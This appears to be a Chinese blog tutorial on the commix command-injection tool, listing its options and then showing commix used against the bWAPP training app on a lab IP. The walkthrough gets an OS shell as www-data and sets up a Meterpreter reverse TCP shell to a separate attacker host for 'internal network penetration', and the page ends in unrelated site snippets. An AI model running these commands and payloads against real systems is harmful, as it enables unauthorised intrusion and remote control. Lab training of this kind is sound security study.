commix工具配合命令注入
commix简介
commix是一款由python编写,开源自动化检测系统命令注入工具 https://github.com/commixproject/commix
commix 参数
选项:
-v VERBOSE详细程度级别(0-1,默认值:0)。
--version 显示版本号并退出。
--output-dir=.. 设置自定义输出目录路径。
-s SESSION_FILE 从存储(.sqlite)文件加载会话。
--flush-session 刷新当前目标的会话文件。
--ignore-session 忽略存储在会话文件中的结果。
目标:
-u URL,--url = URL 目标URL。
--url-reload 在命令执行后重新加载目标URL。
-l LOGFILE 解析来自HTTP代理日志文件的目标和数据。
--crawl = CRAWLDEPTH 从目标网址开始抓取网站(1-2,默认值:0)。
请求:
--data=DATA 要通过POST发送的数据字符串。
--host=HOST HTTP主机头。
--referer=REFERER HTTP Referer标头。
--user-agent=AGENT HTTP用户代理头。
--random-agent 使用随机选择的HTTP User-Agent头。
--param-del=PDEL 设置分割参数值的字符。
--cookie=COOKIE HTTP Cookie头。
--cookie-del=CDEL 设置分割cookie值的字符。
--headers=HEADERS 额外标头(例如「Header1:Value1 \ nHeader2:Value2」)。
--proxy=PROXY 使用HTTP代理(例如“127.0.0.1:8080”)。
--tor 使用Tor网络。
--tor-port=... 设置Tor代理端口(默认值:8118)。
--auth-url=... 登录面板URL。
--auth-data =AUTH 登录参数和数据。
--auth-type =AUTH HTTP认证类型(例如“基本”或“摘要”)。
--auth-cred =AUTH HTTP身份验证凭据(例如“admin:admin”)。
--ignore-401 忽略HTTP错误401(未授权)。
--force-ssl 强制使用SSL / HTTPS。
枚举:
这些选项可用于枚举目标主机。
--all 检索一切。
--current-user 检索当前用户名。
--hostname 检索当前主机名。
--is-root 检查当前用户是否具有root权限。
--is-admin 检查当前用户是否具有管理员权限。
--sys-info 检索系统信息。
--users 检索系统用户。
--passwords 检索系统用户密码散列。
--privileges 检索系统用户权限。
--ps-version 检索PowerShell的版本号。
文件访问:
这些选项可用于访问目标主机上的文件。
--file-read = FILE .. 从目标主机读取文件。
--file-write = FIL .. 写入目标主机上的文件。
--file-upload = FI .. 在目标主机上上传文件。
--file-dest = FILE .. 写入和/或上传到的主机的绝对文件路径。
模块:
这些选项可用于增加检测和/或注射能力。
--icmp-exfil = IP_ ..'ICMP exfiltration'注入模块。 (例如'ip_src = 192.168.178.1,ip_dst = 192.168.178.3')。
--dns-server = DNS ..“DNS exfiltration”注入模块。 (用于DNS筛选攻击的域名)。
--shellshock“炮弹”注射模块。
注射:
这些选项可用于指定要插入和输入的参数,提供定制注入有效负载。
-p TEST_PARAMETER 可测试参数。
--suffix = SUFFIX 注入有效负载后缀字符串。
--prefix = PREFIX 注入有效负载前缀字符串。
--technique = TECH 指定要使用的进样技术。
--maxlen = MAXLEN 设置与时间相关的最大输出长度,注射技术(默认:10000字符)。
--delay = DELAY 设置与时间相关的注入的自定义时间延迟术(默认:1秒)。
--tmp-path = TMP_P .. 设置Web服务器的临时目录的绝对路径。
--root-dir = SRV_R .. 设置Web服务器根目录的绝对路径。
--alter-shell = AL .. 使用另一个os-shell(例如'Python')。
--os-cmd = OS_CMD 执行单个操作系统命令。
--os = OS 将后端操作系统强制为此值。
--tamper = TAMPER 使用给定脚本篡改注射数据。
检测:
这些选项可用于自定义检测阶段。
--level = LEVEL 要执行的测试级别(1-3,默认值:1)。
--skip-calc 在检测期间跳过数学计算
--dependencies 检查第三方(非内核)依赖关系。
演示
POST /bWAPP/commandi.php HTTP/1.1
Host: 192.168.115.12
Referer: http://192.115.12bWAPP/commandi.php
Cookie: acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=mq78064h3p2b00n4toerk7ana1; security_level=0
target=www.nsa.gov&form=submit
commix利用
~# commix --url "http://192.168.115.12/bWAPP/commandi.php" --cookie="acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=mq78064h3p2b00n4toerk7ana1; security_level=0" --data="target=www.nsa.gov&form=submit"
询问是否想要一个shell 输入Y 的到shell
[?] Do you want a Pseudo-Terminal shell? [Y/n] > y
Pseudo-Terminal (type '?' for available options)
commix(os_shell) >
得到shell
commix(os_shell) > pwd
/owaspbwa/bwapp-git/bWAPP
commix(os_shell) > id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
commix(os_shell) > ls -ll
可以进行反弹shell 结合metasploit 进行内网渗透
commix(os_shell) > reverse_tcp
commix(reverse_tcp) > set LHOST 192.168.120.101 """(msf机器)
LHOST => 192.168.120.101
commix(reverse_tcp) > set LPORT 4444
LPORT => 4444
---[ Reverse TCP shells ]---
Type '1' to use a netcat reverse TCP shell.
Type '2' for other reverse TCP shells.
commix(reverse_tcp) > 2
---[ Unix-like reverse TCP shells ]---
Type '1' to use a PHP reverse TCP shell.
Type '2' to use a Perl reverse TCP shell.
Type '3' to use a Ruby reverse TCP shell.
Type '4' to use a Python reverse TCP shell.
Type '5' to use a Socat reverse TCP shell.
Type '6' to use a Bash reverse TCP shell.
Type '7' to use a Ncat reverse TCP shell.
---[ Meterpreter reverse TCP shells ]---
Type '8' to use a PHP meterpreter reverse TCP shell.
Type '9' to use a Python meterpreter reverse TCP shell.
Type '10' to use a Windows meterpreter reverse TCP shell.
Type '11' to use the web delivery script.
commix(reverse_tcp_other) > 8
[*] Generating the 'php/meterpreter/reverse_tcp' payload... [ SUCCEED ]
[*] Type "msfconsole -r /usr/share/commix/php_meterpreter.rc" (in a new window). #复制 启动msf
[*] Once the loading is done, press here any key to continue... #按下确定建就可进行在msf接收到反弹的shell
[+] Everything is in place, cross your fingers and wait for a shell!
总结 commix工具利用
1.访问 web页面http://192.168.115.12/bWAPP/commandi.php
2.提交数据 通过抓包工具截取 url cookie data数据
3.用commix 工具指定链接并进入后台
commix -- url "http://192.168.115.12/bWAPP/commandi.php" --data="target=www.nsa.gov&form=submit" --cookie "xxxxxxxxxxxxxxxxxxxxxxx"
commix工具配合命令注入的更多相关文章
- command injection命令注入
命令注入 是指程序中有调用系统命令的部分,例如输入ip,程序调用系统命令ping这个ip.如果在ip后面加一个&&.&.|.||命令拼接符号再跟上自己需要执行的系统命令 在pi ...
- commix 命令注入工具
关于系统命令注入,可以参考这篇文章:命令攻击介绍 系统命令注入场景 在对企业进行安全测试时候,很少会发现系统注入漏洞.这是因为大部分情况下代码业务主要是数据操作.文件操作.逻辑处理和api接口调用等, ...
- 命令注入工具Commix
命令注入工具Commix 命令注入(Command Injection)攻击是针对Web应用的一种攻击方式.很多Web应用会读取用户提交的数据,然后传递到系统Shell,执行特定的操作,如为用户创 ...
- Commix命令注入漏洞利用
介绍 项目地址:https://github.com/stasinopoulos/commix Commix是一个使用Python开发的漏洞测试工具,这个工具是为了方便的检测一个请求是否存在命令注入漏 ...
- WEB安全第一篇--对服务器的致命一击:代码与命令注入
零.前言 最近做专心web安全有一段时间了,但是目测后面的活会有些复杂,涉及到更多的中间件.底层安全.漏洞研究与安全建设等越来越复杂的东东,所以在这里想写一个系列关于web安全基础以及一些讨巧的pay ...
- CTF练习三 —— 命令注入&命令执行绕过
这个题是第四届强网杯也就是2020.8.22号开始的那场一道简单的命令注入题,再这之前我并没有学习过命令注之类的知识,,,看到题之后先搜在学,,误打误撞解了出来,过段时间wp就会放出来,所以这里就不对 ...
- 网络安全学习阶段性总结:SQL注入|SSRF攻击|OS命令注入|身份验证漏洞|事物逻辑漏洞|目录遍历漏洞
目录 SQL注入 什么是SQL注入? 掌握SQL注入之前需要了解的知识点 SQL注入情况流程分析 有完整的回显报错(最简单的情况)--检索数据: 在HTTP报文中利用注释---危险操作 检索隐藏数据: ...
- 2.SDK目录结构和adb工具及命令介绍
安卓开发学习笔记 1.安卓开发之环境搭建 2.SDK目录结构和adb工具及命令介绍 1.SDK目录介绍: ******************************** add-ons:Androi ...
- OS命令注入
SSL http://kb.cnblogs.com/page/162080/ http://baike.baidu.com/link?url=jPitKuDw_ncDlMbOc1SkWzM9TuKX9 ...
随机推荐
- ThinkPHP5实现定时任务
ThinkPHP5实现定时任务 最近使用ThinkPHP5做了个项目,项目中需要定时任务的功能,感觉有必要分享下 TP5做定时任务使用到command.php的 步骤如下: 1.配置command.p ...
- Linux的命令(待更新)
本文说明: ①本文格式: 序号.命令 详解,用文字或者代码 举例: ②本文索引: 1.设置IP 2.ps -aux 3.grep 4. | 1.设置IP 如果本地网卡eth0已经启动,就可以用下面的命 ...
- java第4天:String static Arrays类,Math类
1 字符串的概述和特点 字符串一旦创建,是不可变的. 有双引号的就是字符串 *** 2 字符串的三种构造方法 2-1 第一种: 格式:String str = new String();| :-| 2 ...
- node与mysql的相互使用————node+mysql
node与mysql的相互使用----node+mysql 为什么选node???因为我是个前端. 为什么选mysql???因为成熟,稳定,听说容易学. 一.mysql数据库: mysql下载和使用我 ...
- LeetCode_232-Implement Queue using Stacks
题意是使用栈实现队列:队列是先进先出,后进后出. class MyQueue { public: /** Initialize your data structure here. */ MyQueue ...
- 本人亲测-百度富文本编辑器(无bug版本)
再此我想说明一点,好多教程都是转载别人的,而且也不注明从哪里转载的.每次搜点资料的时候总是跟网上刷小视频的感觉一样.有些人就直接把别人的东西粘贴过来了,一点改动都没有. 废话不多说,直接上教程. (百 ...
- python 安装pyqt
---恢复内容开始--- 一.安装 1.官网:www.riverbankcomputing.com 2.使用命令安装,可以自动去官网查找与Python版本号相同的程序进行下载,比较方便,如果不是这样也 ...
- Liang-Barsky算法
Liang-Barsky算法 在Cohen-Sutherland算法提出后,梁友栋和Barsky又针对标准矩形窗口提出了更快的Liang-Barsky直线段裁剪算法. 梁算法的主要思想: (1)用参数 ...
- 从零起步 系统入门Python爬虫工程师 ✌✌
从零起步 系统入门Python爬虫工程师 (一个人学习或许会很枯燥,但是寻找更多志同道合的朋友一起,学习将会变得更加有意义✌✌) 大数据时代,python爬虫工程师人才猛增,本课程专为爬虫工程师打造, ...
- Python_函数做字典的值
当需要用到3个及以上的if...elif...else时就要考虑该方法进行简化 通过将函数名称当做字典的值,利用字典的关键字查询,可以快速定位函数,进行执行 [场景]用户查询信息,输入fn查询,执行对 ...